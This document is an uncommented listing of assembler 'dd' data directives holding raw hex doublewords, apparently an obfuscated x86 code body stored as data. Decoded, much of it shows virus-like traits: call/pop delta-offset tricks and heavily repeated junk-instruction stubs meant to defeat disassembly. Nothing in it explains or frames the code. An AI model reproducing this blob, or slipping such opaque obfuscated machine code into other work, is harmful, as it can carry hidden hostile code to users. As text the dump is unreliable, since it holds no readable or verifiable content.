dd 1C0424h, 55450000h, 739193C3h, 0A193DE71h, 6A4EC9h
dd 88F0Fh, 8B600000h, 1F0A55BDh, 6A6106h, 0DE8h, 0A8E82500h
dd 1C6C513Dh, 150450CBh, 85899456h, 61F2FDDh, 29B58B5Fh
dd 8D061F19h, 22D2D585h, 198D8906h, 83061F19h, 6A05C0h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0EE6D5AC3h, 0B63847B9h, 0CD958960h, 89061F06h, 1F15B9B5h
dd 8D896106h, 61F0CE5h, 2820F90h, 57000000h, 0BE66505Eh
dd 0F90066Bh, 0C84h, 68F0F00h, 89000000h, 1F160595h, 8B0F5106h
dd 6, 2B99BD8Bh, 6A5E061Fh, 19BD8B00h, 6A061F30h, 8D896000h
dd 61F2D4Dh, 0D80725BAh, 0BD8B613Fh, 61F1025h, 16195FFh
dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 495DF5C3h, 0CDDBD521h, 8D21D88Ah, 22B1F29Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 4DCE8AB3h, 6057400Eh, 12E8h, 5A0EE700h
dd 5471490Dh, 8141EEA5h, 4F505C3Bh, 5B637014h, 61BBE680h
dd 71B5895Eh, 0FF061F0Ch, 8BF88BD3h, 1F1229B5h, 2985FF06h
dd 29061F10h, 1F0FFDB5h, 0E04E906h, 0E80000h, 5D000000h
dd 0D2DFED81h, 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E97116C3h, 7, 0ECCA480Ch, 812865B9h
dd 1F05E1BDh, 7D006h, 75860F00h, 66000001h, 9D8BFB8Bh
dd 61F027Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0C4C35545h, 0EC6A35DCh, 0E381F859h, 100h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E3C35646h, 2AF2CF00h
dd 5E919ECh, 0EA000000h, 6BE4B718h, 0BE851h, 5F420000h
dd 50476110h, 929D6CC0h, 0B5F5F65h, 0B3850FDBh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 52D9C355h, 0A2DA8C02h, 0C68166C6h, 0BD83B84Fh
dd 622D0ECh, 3B840F00h, 89000000h, 1F120DBDh, 0A0E906h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 736592C3h, 3098685h, 0F13E182h, 58Bh, 0E7816600h
dd 85C7549Ah, 622D0ECh, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 29C35747h, 0F5931228h, 0D58A2871h, 2411B58Bh
dd 8B66061Fh, 34E9FAh, 9600000h, 1F2FA1B5h, 85C76106h
dd 622D0ECh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EBC35040h
dd 990A3D43h, 9D8DFE8Bh, 61F027Dh, 68B0Fh, 0BD230000h
dd 61F23D5h, 0FEFF2381h, 0B589FFFFh, 61F1A55h, 6ADB8C66h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 8256C352h, 0BC1CEF36h, 0E37FF0DEh, 161D8529h
dd 0BE66061Fh, 0C3F6D255h, 4E840F04h, 8B000000h, 1F1609B5h
dd 7595FF06h, 90061F31h, 0CE9h, 5D91D500h, 0AF7B820Dh
dd 0F7E2F432h, 8E0F50B7h, 0
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 418D893Ch, 89061F03h, 1F0E4D95h, 3E6E906h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 4EE81BC3h, 1CF18D89h, 0B0061Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h, 558C7396h
dd 0E6CEBE57h, 0DE870h, 5AA50000h, 69AF1872h, 0C1599777h
dd 236E9E8Bh, 1F0019BDh, 71E45E06h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0A9C35545h, 0F7816E89h, 0B9E86FCh
dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 230EC355h, 0BAEF83A5h, 6, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 14C35646h, 0B5E88862h
dd 59B589D0h, 8B061F0Ah, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 840F5197h, 6, 30558D89h
dd 9531061Fh, 61F07F9h, 6604E8C1h, 0BD8BE2F7h, 61F209Dh
dd 2A499531h, 0D82B061Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 3DC35646h, 0B3407F97h, 266CB3EFh, 0CE9h
dd 0FE33CF00h, 365842E9h, 3D0438A5h, 66509315h, 8B93F88Bh
dd 1F09B9BDh, 0E1B5FF06h, 6A061F05h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6701C353h
dd 7866BC5h, 6ECF8166h, 4595FFD2h, 66061F1Dh, 0B03586BEh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0E6C4DA06h, 55006A70h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8BD52663h
dd 1F326DB5h, 6A71E406h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0DE6EC351h, 5E3ED472h
dd 0C9B5038Ch, 3C061F31h, 0D9830F61h, 6A000001h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 4676C353h, 8B53231Dh, 0B60F5FF8h, 0FE9D8h, 0CBC80000h
dd 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah, 6BA1Ch, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0FB93AC3h, 0C38BFFBFh, 0C1F9BF0Fh, 6A04E8h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0C95716C3h, 315E7D54h, 667C7AFBh, 6AE2F7h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 64F59CC3h
dd 1A386BC7h, 89BE4970h, 1F0CC185h, 6AD82B06h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0E5CFC355h, 0EF04329Fh, 0B7BFE13Ah, 5837CE7Fh, 97E68166h
dd 0FD82B37h, 0E788h, 0FEBF0F00h, 7B9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0ABC7240Dh, 9589F1A1h, 61F2DC1h, 0F00C183h, 684h, 259D8900h
dd 3B061F1Fh, 0A1860FD9h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8FF8C356h
dd 801E03C5h, 8C66B1C3h, 0D19D89D9h, 0F6061F0Ch, 840F04C1h
dd 64h, 349B58Bh, 95FF061Fh, 61F3175h, 45DBE66h, 2DB5895Bh
dd 2B061F23h, 8343DC3h, 860F0000h, 40h, 0DE9h, 6E74DF00h
dd 0E5E77AACh, 33FF6967h, 31E988AEh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 6E22C350h, 0C255A912h, 0B58BF8DAh, 61F1391h, 0BD29C08Bh
dd 61F0261h, 0D88BC38Bh, 0C7F0BF0Fh, 1F2C2985h, 1F55BF06h
dd 50006A52h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0E8C08BEFh, 0Ah, 7A3C1953h, 0FD489517h
dd 9E930FCh, 59000000h, 7AC70D40h, 0E80D1360h, 0E1BD815Fh
dd 0D0061F05h, 0F000007h, 5385h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AB25DD0Eh
dd 5D85294Fh, 0FF061F1Ch, 1F05E185h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 9F403BD5h
dd 0F947B0E7h, 624FBE66h, 5E1B5FFh, 8D31061Fh, 61F0EF9h
dd 1D4595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0C985FCC3h, 6A4090h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B3E9E1C3h
dd 28E8A526h, 0F60E9EBh, 689h, 0CDE18100h, 0E92C6C63h
dd 7, 9B70DC91h, 61B8A5B6h, 2FCDB58Bh, 0BD83061Fh, 61F12BDh
dd 0E5840F00h, 0F000000h, 688h, 0E9953100h, 8B061F08h
dd 1F0899B5h, 0CDBD8306h, 61F09h, 0C6840Fh, 0FE8B0000h
dd 12BD95FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 9910A7C3h, 0A91CAABDh, 0BD8BF78Bh
dd 61F2FCDh, 840FC00Bh, 8Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 6FC35646h, 0C148294Eh, 0BE96064h
dd 53000000h, 93032870h, 1A1B3274h, 61F94771h, 4DB08D8Dh
dd 8D89061Fh, 61F09C9h, 5B8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 85895622h
dd 61F2A75h, 6AE1FF5Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 9677C351h, 0FC49D92Dh
dd 0A39BD83h, 0F00061Fh, 5AA84h, 0E5BD3100h, 83061F24h
dd 1F09CDBDh, 840F0006h, 597h, 3860Fh, 0B70F0000h, 10E9FBh
dd 0C62C0000h, 301A782Ah, 8DAD982Eh, 7BDAD783h, 8D8D2387h
dd 61F1409h, 7C8401C7h, 6A44B2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0AD8EB2C3h, 13E933h
dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh
dd 0CB01818Ch, 6A1499CFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0FBAC350h, 68Ah, 0F1858900h
dd 0C7061F1Ch, 6B340441h, 0BE66CE70h, 4181F948h, 0D6D71004h
dd 51006A31h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 8EA3D368h, 0AAB9AACh, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 8D2F91C3h
dd 1F140985h, 505F5606h, 630F7ABEh, 2404897Bh, 0A3995FFh
dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0EAA1C2C3h, 14098D8Dh, 6A061Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7A625EC3h
dd 5E9h, 0B0DD3B00h, 1C7565Dh, 0
dd 0BE9h, 870FE100h, 0BF770107h, 0D64E3299h, 441C7h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 821C351h, 31B697AEh, 1F157995h, 0FC00B06h
dd 3384h, 4BF6600h, 0B08D8DB4h, 6A061F4Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4D24C352h
dd 5B860FCh, 0F000000h, 0E1FFFFBFh, 14098D8Dh, 6A061Fh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0D3AC9DC3h, 81660B87h, 0C7B3A5EFh, 0AA727C01h, 68C0F44h
dd 81000000h, 5D2B0AC6h, 0CB018168h, 8B1499CFh, 1F2691B5h
dd 441C706h, 0CE78753Ch, 0DD1FE781h, 41810108h, 0D6D71004h
dd 0BE831h, 76820000h, 0F2E70117h, 88522FF2h, 6A5F78h
dd 2F918589h, 858D061Fh, 61F1409h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0C6C35343h, 276D9D89h, 901594D8h
dd 6E8h, 9D75EE00h, 0E970E121h, 0Ch, 8353277Eh, 0A953B5FDh
dd 0DB5CF494h, 0F90505Fh, 981h, 38F0F00h, 0F000000h, 0C781F9B7h
dd 1C7AF88Eh, 0A3995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0ACA97BC3h, 3FBE563Fh
dd 6E9EC08h, 9A000000h, 0CC82443Eh, 8DF18BFDh, 1F14098Dh
dd 0E6816606h, 1C73DD5h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 98C35343h
dd 810F66DBh, 6, 161DB509h, 41C7061Fh, 4, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 26883064h, 0C73288BCh, 9DBD0BD9h, 0B061F19h, 87840FC0h
dd 8D000000h, 1F4DB08Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 5006B855h, 9D89DE49h
dd 61F0D79h, 5B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BD8B0633h, 61F1D6Dh
dd 7B2207BEh, 6AE1FF65h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0B1BC353h, 0D95D05ABh
dd 5FE74499h, 1379B523h, 8D8D061Fh, 61F1409h, 0C7FE8B66h
dd 0CA95A501h, 57006A54h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 54A8B9F9h, 85895542h
dd 61F2AADh, 0CFCB0181h, 0C7F51499h, 59690441h, 6ACE5Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 81BCFCC3h, 0D7100441h, 0B58B31D6h, 61F1129h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 8222A7C3h, 0F78B680Ah, 1409858Dh, 6A061Fh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCB1A7C3h
dd 10E86050h, 50000000h, 8FC8DEC4h, 0B9FF2F15h, 0C5448706h
dd 0F0CE52Ah, 8Bh, 0A7B35B00h, 24048961h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 72C35141h, 0F9E8DC69h
dd 9392BE02h, 95FF5E3Bh, 61F0A39h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0E1C35545h, 14098D8Dh, 0FA8B061Fh
dd 1C7h, 0FB8B0000h, 441C7h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B4DCC353h
dd 0A56F8C4Dh, 0C00B4E57h, 69840Fh, 0BD8B0000h, 61F2F05h
dd 4DB08D8Dh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 80605AC3h, 6E94FD9h, 5000000h, 658328Bh
dd 5B861F0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 9434C352h, 0E1858951h
dd 0FF061F0Fh, 0D4DF81E1h, 3360A2Ch, 0F1FCE9CAh, 0C18BFFFFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9AC35343h
dd 6940BE66h, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0B58BBCC3h, 61F09B5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1DC35141h
dd 37A8C223h, 0A984C227h, 19BD858Dh, 8D31061Fh, 61F2A91h
dd 52505250h, 5E57310Fh, 895E585Ah, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BE8043C3h
dd 1AEDBD89h, 6A061Fh, 6890F50h, 89000000h, 1F2B858Dh
dd 6A5E06h, 0DBD8D01h, 858D061Fh, 622E2E7h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F6C35747h, 1E4F7A44h
dd 0DFCC2434h, 12E808h, 96D30000h, 0EA8F7751h, 187B252Dh
dd 66CA3A3Eh, 4EE076F5h, 5870Fh, 81660000h, 5E228CE6h
dd 6005C083h, 6800Fh, 800F0000h, 0
dd 0F78B6661h, 0DE850h, 0C84D0000h, 0A170A254h, 0BC99E188h
dd 532986A5h, 5EF28B66h, 2404895Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 37C35040h, 0E48BD7BAh, 3B5A04FFh
dd 0A5A6BE7Fh, 9D89542Bh, 61F0D45h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0E08C30C3h
dd 8D892504h, 61F2C3Dh, 0BD89006Ah, 61F0EC9h, 16195FFh
dd 8589061Fh, 61F2FA5h, 0B1F29D8Dh, 6A0622h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0EE819EC3h
dd 4C0B5F16h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 0ED44EFC3h, 2F3DC619h, 0B58B1857h
dd 61F0F95h, 102985FFh, 0E9F9061Fh, 963h, 0E8h, 0ED815D00h
dd 622E2F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0CCC35242h, 0BE442EE4h, 1F44B603h, 5E1BD81h, 7D0061Fh
dd 860F0000h, 137h, 0D850Fh, 8E90000h, 0AD000000h, 4D044876h
dd 8B59225Ch, 1F160D9Dh, 0EE906h, 0C4360000h, 453E7D74h
dd 0E9F5FB1Ah, 0E910174Fh, 100E381h, 880F0000h, 3, 0E9F3BF0Fh
dd 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 0FDB0B31h, 7F85h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0F756F6D5h, 0F1BF0F4Bh, 0BE9h, 2205400h
dd 0E7BC342h, 0D91067E6h, 0E102BD83h, 0F000622h, 2B84h
dd 13E900h, 0C7420000h, 0FE49B0A9h, 0DC50D327h, 0C4D97E01h
dd 498C27D1h, 4EE932h, 31600000h, 1F30558Dh, 1B58B06h
dd 61061F01h, 0E10285C7h, 10622h, 81660000h, 0E9EC1AEEh
dd 2Ch, 0E10285C7h, 622h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 37D923C3h, 5EF38B50h
dd 160D9D8Dh, 0C681061Fh, 0F5F2531h, 0FEFF2381h, 6AFFFFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0A9302BC3h, 0E6BE599Bh, 667E0BCDh, 0F6F8DB8Ch, 840F04C3h
dd 67h, 19CDB58Bh, 95FF061Fh, 61F3175h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ah, 2DC35141h, 0AD7D5D01h
dd 8D31DFE0h, 61F08CDh, 0EEB1BE50h, 4896042h, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 81A2B796h, 8A0F7116h, 3, 0E9F18B66h, 3C2h, 8900B0F9h
dd 1F3259B5h, 6A70E606h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 9715C352h, 315638E7h
dd 6820Fh, 0B5230000h, 61F10E5h, 12E971E4h, 0F5000000h
dd 0B3C5FFABh, 615198C2h, 6B1C0C36h, 0F4AA85FFh, 0D8B60F9Ah
dd 2CD9589h, 7E9061Fh, 57000000h, 1420895h, 6BA5364h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 2D8DC357h, 0CF6D753Eh, 0EF4C9E79h, 8BF6BF0Fh
dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 5074392Ch, 0DFE7C477h, 4E8C1BDh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D2C35141h, 9E879F1h
dd 0A3000000h, 0B8AE2369h, 114CE839h, 0F2B70F53h, 0F7665E5Eh
dd 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0AD456347h, 632F89F8h, 6AD82BEDh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0EF2FC350h, 0B70F79FFh, 8B5093F1h, 0B58B93F3h, 61F1F29h
dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 8FBE26C3h, 4595FFF5h, 9061F1Dh
dd 1F1EC5BDh, 0E900B006h, 6, 978FDAD3h, 70E63C61h, 0BE6671E4h
dd 613C8E71h, 230830Fh, 0FC500000h, 0D8B60F5Eh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 23C35545h, 31D7A9D4h
dd 1F0271B5h, 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 75CA23C3h, 0F5C55451h
dd 6890Fh, 0B58B0000h, 61F0591h, 0AC9B589h, 0C38B061Fh
dd 1EB58D31h, 0E8C1061Fh, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 68A5A625h
dd 7DB58B59h, 66061F2Dh, 0FE8E2F7h, 45000000h, 5E1016CEh
dd 13068DAEh, 0DEFDA25Bh, 0B58B35C7h, 61F2005h, 0E8D82B5Eh
dd 13h, 89431738h, 66644E70h, 3A0F7EBFh, 8A597E81h, 50B616ACh
dd 6A585E5Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 757C353h, 933C80D1h, 7870F7Fh
dd 0F000000h, 18Ah, 8509F500h, 61F1215h, 880FD82Bh, 122h
dd 58536052h, 7B95E61h, 60000000h, 6880Fh, 858B0000h, 61F2D7Dh
dd 28E0Fh, 5A560000h, 0C18361h, 0DFB70F60h, 7B9AF281h
dd 3B610DC9h, 0EB860FD9h, 0F000000h, 682h, 119D8900h, 66061F08h
dd 0DE9D98Ch, 0FC000000h, 85AC6FBDh, 26FF339h, 2D1BBB47h
dd 0F04C1F6h, 8E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0F37EDB90h, 89F7F2AAh
dd 1F0CC985h, 7595FF06h, 8B061F31h, 1F06A9B5h, 5B5E5306h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h
dd 8CDB589h, 0C32B061Fh, 13E9h, 0E3B39400h, 51E660C7h
dd 43063DA7h, 7252E92Eh, 70D1D780h, 8343Dh, 10860F00h
dd 8B000000h, 3CE9F2h, 810F0000h, 3, 8BF6B70Fh, 50006AC0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0D3301596h, 0C884030Bh, 0B58B3165h, 61F0DF5h, 1B2DB58Bh
dd 0C38B061Fh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 70B588C3h, 29058EDAh, 1F0F4995h
dd 9B53106h, 0C7061F30h, 1F027D85h, 2FB7FB06h, 10E970h
dd 58B30000h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h, 0C08BB425h
dd 16D1B58Bh, 0BD81061Fh, 61F05E1h, 7D0h, 50850Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 43FBC8C3h, 4010180Dh, 9396BE66h, 5E185FFh, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 839A14C3h, 0E681667Ah, 0B5FFEEDCh, 61F05E1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h, 8B9CAF85h
dd 1F1715B5h, 4595FF06h, 6A061F1Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0ABAFC355h
dd 7488BE09h, 31F5EE91h, 1F1FD18Dh, 8880F06h, 60000000h
dd 8AAE181h, 90616D21h, 6AD88Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 449E6C3h, 43999E7Ch
dd 3118D29h, 0BD83061Fh, 61F20F1h, 14840F00h, 0E9000000h
dd 8, 0C9C1E27h
dd 0AD8A1062h, 23EE9h, 8CF78B00h, 235260DFh, 1F0F1D9Dh
dd 95295806h, 61F05C5h, 0C7F76661h, 850F0004h, 21Fh, 0EF9DDE81h
dd 0BF65F7h, 8B000000h, 1F113DB5h, 0F1B58B06h, 8D061F16h
dd 22EBDD9Dh, 3ABE6606h, 830F03h, 50000000h, 2810F60h
dd 8B000000h, 2840FC7h, 56000000h, 1C89615Eh, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 42A979D0h, 0A293D198h, 0BE662E05h, 0FF6402A9h, 35h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0B64D66D2h, 258964h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0FF50C357h, 6830FD0h, 8B000000h, 1F2A31B5h, 6AC48B06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 7555C353h, 0E7CD6652h, 29CB314Eh, 1F0FC99Dh
dd 21B58B06h, 0CD061F12h, 8B00EB01h, 1F1E05B5h, 0EBE8BE06h
dd 6A697Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0ACD916C3h, 54BEECFh, 58F643Dh, 0
dd 0E95B523h, 0CE81061Fh, 12445290h, 6A04C483h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 6A23C353h, 0FB1503AAh, 9509275Eh, 61F20C1h, 840FC00Bh
dd 0B7h, 41853160h, 66061F00h, 19B5D681h, 0B0BD8D61h, 6A061F4Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 3759C356h, 0E63A629Eh, 5B8h, 4DBD8900h, 8B061F0Eh
dd 1F16ADB5h, 8BE7FF06h, 1F1361B5h, 5C8B5706h, 838B1024h
dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
dd 0E8C3C033h, 6, 0BF607675h, 0DE93F88h, 3000000h, 1B327493h
dd 0A047711Ah, 7FD36481h, 56006A5Eh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3F35FB5Ah
dd 0B6A91539h, 85B52B8Bh, 2B061F13h, 0F69EE9CAh, 8BF5FFFFh
dd 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 7E2E3EA4h, 0FE960h, 0A6CA0000h, 0F106D5Ch
dd 0D5F7903Ch, 7C113451h, 13E915h, 0C41F0000h, 0D7C8F6CFh
dd 61CB1B49h, 9C001A28h, 9E9B184Eh, 0BD8B617Eh, 61F2ED1h
dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0E08104C3h, 6A22E3h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858D40C3h
dd 61F19BDh, 0AE9h, 0B01D1500h, 313FFD1Dh, 90C6DFEAh, 0F525050h
dd 810F31h, 5A000000h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0C14A6DC3h, 16E1B58Bh
dd 6A061Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 7AC2B5C3h, 4006285Dh, 816606B0h
dd 8DABF5CEh, 22EE5385h, 5C08306h, 0E7DB58Bh, 8B90061Fh
dd 8D0F50F9h, 1Ah, 13E960h, 19A40000h, 89E6C86Fh, 0CE1D73FDh
dd 854C9C5Eh, 702E9899h, 0F90617Dh, 85h, 8B006A00h, 1F0EDDBDh
dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 3CC355h, 5688406Eh, 0F60FEAC1h
dd 9E9h, 57BD7400h, 23096656h, 0BE92C8Eh, 8B000000h, 188A0DD5h
dd 46FC4B57h, 0B58B62CBh, 61F1181h, 16195FFh, 880F061Fh
dd 4, 9A39BE66h, 0B1F29D8Dh, 6A0622h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0BFE2ACC3h
dd 75BA8D1Ah, 0BD8BD3FFh, 61F2A49h, 102985FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 621781C3h, 699D3139h, 0E9061F2Ah, 873h, 0E8h, 0ED815D00h
